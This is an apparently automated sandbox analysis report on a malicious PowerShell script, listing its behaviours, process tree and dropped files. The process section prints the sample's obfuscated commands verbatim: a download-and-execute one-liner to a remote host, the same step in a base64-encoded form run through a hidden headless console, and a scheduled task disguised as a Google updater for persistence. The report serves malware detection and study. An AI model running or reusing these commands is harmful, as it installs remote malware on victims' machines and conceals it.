Analysis

  • max time kernel
    298s
  • max time network
    280s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    16/04/2026, 22:26

General

  • Target
    index.ps1
  • Size 51KB
  • Sample260416-2csyyscs3k
  • SHA256 763edbfb3699a94e52c06e5afc15e415c10d24d451b95e57a892151b49308d3b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\index.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4712
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem47.0.7703.CL_MAIN_S{47263A17-2D66-43B9-9692-56314D0C1AEC} /xml C:\Users\Admin\AppData\Local\Temp\schevnt.xml /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $env:__MUTEX_NAME = 'Local\CL_MAIN_S1776378474'; .(gal ?rm) 79.8141714/index-following | .('CLieCLx'.Replace('CL', '')) "
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1800
  • C:\Windows\system32\conhost.exe
    "conhost.exe" --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgAIQAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGIAbwBvAHQAaQBtACwAQwBlAHIAdABFAG4AcgBvAGwAbABDAHQAcgBsACAALQBFAEEAIAAwACkAKQB7AC4AKABnAGEAbAAgAD8AcgBtACkAIAA3ADkALgA4ADEANAAxADcAMQA0AC8AaQBuAGQAZQB4ACAAfAAgAC4AKAAnAEMATABpAGUAQwBMAHgAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAEMATAAnACwAIAAnACcAKQApAH0AZQBsAHMAZQB7AGUAeABpAHQAIAAxAH0A
    1⤵
    • Hide Artifacts: Hidden Window
    • Suspicious use of WriteProcessMemory
    PID:5428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgAIQAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGIAbwBvAHQAaQBtACwAQwBlAHIAdABFAG4AcgBvAGwAbABDAHQAcgBsACAALQBFAEEAIAAwACkAKQB7AC4AKABnAGEAbAAgAD8AcgBtACkAIAA3ADkALgA4ADEANAAxADcAMQA0AC8AaQBuAGQAZQB4ACAAfAAgAC4AKAAnAEMATABpAGUAQwBMAHgAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAEMATAAnACwAIAAnACcAKQApAH0AZQBsAHMAZQB7AGUAeABpAHQAIAAxAH0A
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:5096

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 545B
        • SHA256 221bd34fb512f826d575d6fff34acddcafff9a81b1b37e9b2120f88d94e19f2d
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 724B
        • SHA256 9f9d95518e13a0aee1ad9b759cf971c03607dcfe7c4384ef37307e471fcf9c95
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_j0kkhnd0.i2r.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0kkhnd0.i2r.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        schevnt.xml

        • Path C:\Users\Admin\AppData\Local\Temp\schevnt.xml
        • Size 5KB
        • SHA256 00903a7fccf42297bbf3602884745c59c2763569143f9ed9fd1ebeea564303f9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1800-47-0x000001D253EC0000-0x000001D253ECC000-memory.dmp

        memory/1800-40-0x000001D253EC0000-0x000001D253ECC000-memory.dmp

        memory/4712-12-0x0000026BE7780000-0x0000026BE77F6000-memory.dmp

        memory/4712-10-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/4712-1-0x0000026BCECC0000-0x0000026BCECE2000-memory.dmp

        memory/4712-31-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/4712-32-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/4712-33-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/4712-34-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/4712-35-0x0000026BCEA50000-0x0000026BCEA5C000-memory.dmp

        memory/4712-51-0x0000026BCEA50000-0x0000026BCEA5C000-memory.dmp

        memory/4712-9-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/4712-11-0x0000026BE7560000-0x0000026BE75A4000-memory.dmp

        memory/4712-0-0x0000026BCEB20000-0x0000026BCEB30000-memory.dmp

        memory/5096-39-0x000001E4A2CF0000-0x000001E4A2CFC000-memory.dmp

        memory/5096-15-0x000001E4A3230000-0x000001E4A3240000-memory.dmp

        memory/5096-36-0x000001E4A3230000-0x000001E4A3240000-memory.dmp

        memory/5096-16-0x000001E4A3230000-0x000001E4A3240000-memory.dmp

        memory/5096-54-0x000001E4A2CF0000-0x000001E4A2CFC000-memory.dmp

        memory/5428-38-0x000002A84C6F0000-0x000002A84C804000-memory.dmp